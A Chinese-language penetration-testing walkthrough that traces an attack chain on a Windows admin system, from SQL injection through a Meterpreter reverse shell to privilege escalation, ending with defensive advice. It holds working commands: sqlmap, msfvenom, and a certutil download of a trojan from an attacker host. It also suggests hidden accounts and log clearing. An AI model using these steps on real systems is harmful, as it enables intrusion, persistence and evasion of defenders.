一处SQL引发的血案
字数 1258 2025-08-20 18:17:47

SQL注入漏洞实战分析与提权技术详解

漏洞发现与利用过程

初始信息收集

  1. 目标发现:通过nmap全端口扫描发现管理系统
    • 命令示例:nmap -p- <目标IP>
  2. 访问测试:直接访问返回404,需通过特定端口访问管理系统

认证绕过与注入发现

  1. 弱口令爆破尝试:

    • 发现登录接口可进行用户名+密码爆破
    • 使用常见用户名admin进行爆破
    • 成功获取超级管理员权限
  2. SQL注入发现:

    • 在登录框输入单引号(')触发报错
    • 确认存在SQL注入漏洞
    • 使用sqlmap进行自动化测试:
      sqlmap -u "http://target/login" --data="username=admin&password=123" --level=5 --risk=3
      

权限确认与利用

  1. 权限检查:

    • 确认当前数据库用户为DBA权限
    • 检查是否具备os-shell能力
  2. 命令执行:

    • 确认可通过SQL注入执行系统命令
    • 但执行权限受限,需进行提权

后渗透与提权技术

反向Shell建立

  1. MSF木马生成:

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=<外网IP> LPORT=<端口> -f exe > /root/test.exe
    
    • 使用花生壳进行内网穿透(需桥接网络模式)
    • 注意:需先在目标创建目录再下载
  2. 文件下载技术:

    • 通过certutil下载木马:
      certutil.exe -urlcache -split -f http://myweb/test.exe d:\excel\listss.exe
      
  3. MSF监听配置:

    • 使用exploit/multi/handler模块
    • 设置payload为windows/meterpreter/reverse_tcp
    • 配置正确的本地IP和端口

系统提权技术

  1. 系统信息收集:

    • 执行systeminfo获取补丁信息
    • 使用在线漏洞检测平台分析缺失补丁:
      • https://detect.secwx.com/
  2. 提权EXP利用:

    • 根据检测结果在GitHub寻找对应EXP
    • 使用upload命令上传提权工具
    • 执行提权操作
  3. 远程桌面配置:

    • 添加系统账号
    • 检查TermService状态:
      tasklist -svc
      
    • 根据PID启动/配置远程桌面服务

关键技术与注意事项

SQL注入利用要点

  1. 注入点探测:

    • 单引号测试需在抓包环境下观察完整响应
    • 报错信息是判断注入存在的重要依据
  2. 权限最大化:

    • 优先确认是否为DBA权限
    • 尝试os-shell前检查xp_cmdshell状态

内网穿透技巧

  1. 花生壳配置要点:

    • Kali需使用桥接网络模式
    • 正确映射本地IP和端口
    • 外网域名和端口使用花生壳提供的地址
  2. 文件下载限制规避:

    • 确保目标目录有写入权限
    • 避免直接下载到系统根目录

提权技术要点

  1. 补丁分析:

    • 完整收集systeminfo输出
    • 重点关注内核、服务相关补丁
  2. EXP选择:

    • 优先选择已验证的公开EXP
    • 注意EXP与系统版本的兼容性
  3. 权限维持:

    • 添加隐藏账号
    • 清理操作日志

防御建议

  1. 针对SQL注入:

    • 使用参数化查询
    • 实施最小权限原则
    • 过滤特殊字符
  2. 针对命令执行:

    • 禁用不必要的存储过程(xp_cmdshell等)
    • 实施命令白名单
  3. 系统加固:

    • 及时安装安全补丁
    • 限制远程桌面访问
    • 启用日志审计
  4. 网络防护:

    • 限制管理接口访问
    • 实施网络分段
    • 部署WAF防护

总结

本案例展示了从SQL注入发现到系统完全控制的完整攻击链,强调了:

  1. 输入验证的重要性
  2. 最小权限原则的必要性
  3. 及时打补丁的关键性
  4. 纵深防御的价值

渗透测试过程中,多尝试、多收集资源可显著提高成功率,而防御方需从多个层面构建防护体系。

SQL注入漏洞实战分析与提权技术详解 漏洞发现与利用过程 初始信息收集 目标发现:通过nmap全端口扫描发现管理系统 命令示例: nmap -p- <目标IP> 访问测试:直接访问返回404,需通过特定端口访问管理系统 认证绕过与注入发现 弱口令爆破尝试: 发现登录接口可进行用户名+密码爆破 使用常见用户名 admin 进行爆破 成功获取超级管理员权限 SQL注入发现: 在登录框输入单引号( ' )触发报错 确认存在SQL注入漏洞 使用sqlmap进行自动化测试: 权限确认与利用 权限检查: 确认当前数据库用户为DBA权限 检查是否具备 os-shell 能力 命令执行: 确认可通过SQL注入执行系统命令 但执行权限受限,需进行提权 后渗透与提权技术 反向Shell建立 MSF木马生成: 使用花生壳进行内网穿透(需桥接网络模式) 注意:需先在目标创建目录再下载 文件下载技术: 通过certutil下载木马: MSF监听配置: 使用 exploit/multi/handler 模块 设置payload为 windows/meterpreter/reverse_tcp 配置正确的本地IP和端口 系统提权技术 系统信息收集: 执行 systeminfo 获取补丁信息 使用在线漏洞检测平台分析缺失补丁: https://detect.secwx.com/ 提权EXP利用: 根据检测结果在GitHub寻找对应EXP 使用 upload 命令上传提权工具 执行提权操作 远程桌面配置: 添加系统账号 检查TermService状态: 根据PID启动/配置远程桌面服务 关键技术与注意事项 SQL注入利用要点 注入点探测: 单引号测试需在抓包环境下观察完整响应 报错信息是判断注入存在的重要依据 权限最大化: 优先确认是否为DBA权限 尝试 os-shell 前检查 xp_cmdshell 状态 内网穿透技巧 花生壳配置要点: Kali需使用桥接网络模式 正确映射本地IP和端口 外网域名和端口使用花生壳提供的地址 文件下载限制规避: 确保目标目录有写入权限 避免直接下载到系统根目录 提权技术要点 补丁分析: 完整收集 systeminfo 输出 重点关注内核、服务相关补丁 EXP选择: 优先选择已验证的公开EXP 注意EXP与系统版本的兼容性 权限维持: 添加隐藏账号 清理操作日志 防御建议 针对SQL注入: 使用参数化查询 实施最小权限原则 过滤特殊字符 针对命令执行: 禁用不必要的存储过程(xp_ cmdshell等) 实施命令白名单 系统加固: 及时安装安全补丁 限制远程桌面访问 启用日志审计 网络防护: 限制管理接口访问 实施网络分段 部署WAF防护 总结 本案例展示了从SQL注入发现到系统完全控制的完整攻击链,强调了: 输入验证的重要性 最小权限原则的必要性 及时打补丁的关键性 纵深防御的价值 渗透测试过程中,多尝试、多收集资源可显著提高成功率,而防御方需从多个层面构建防护体系。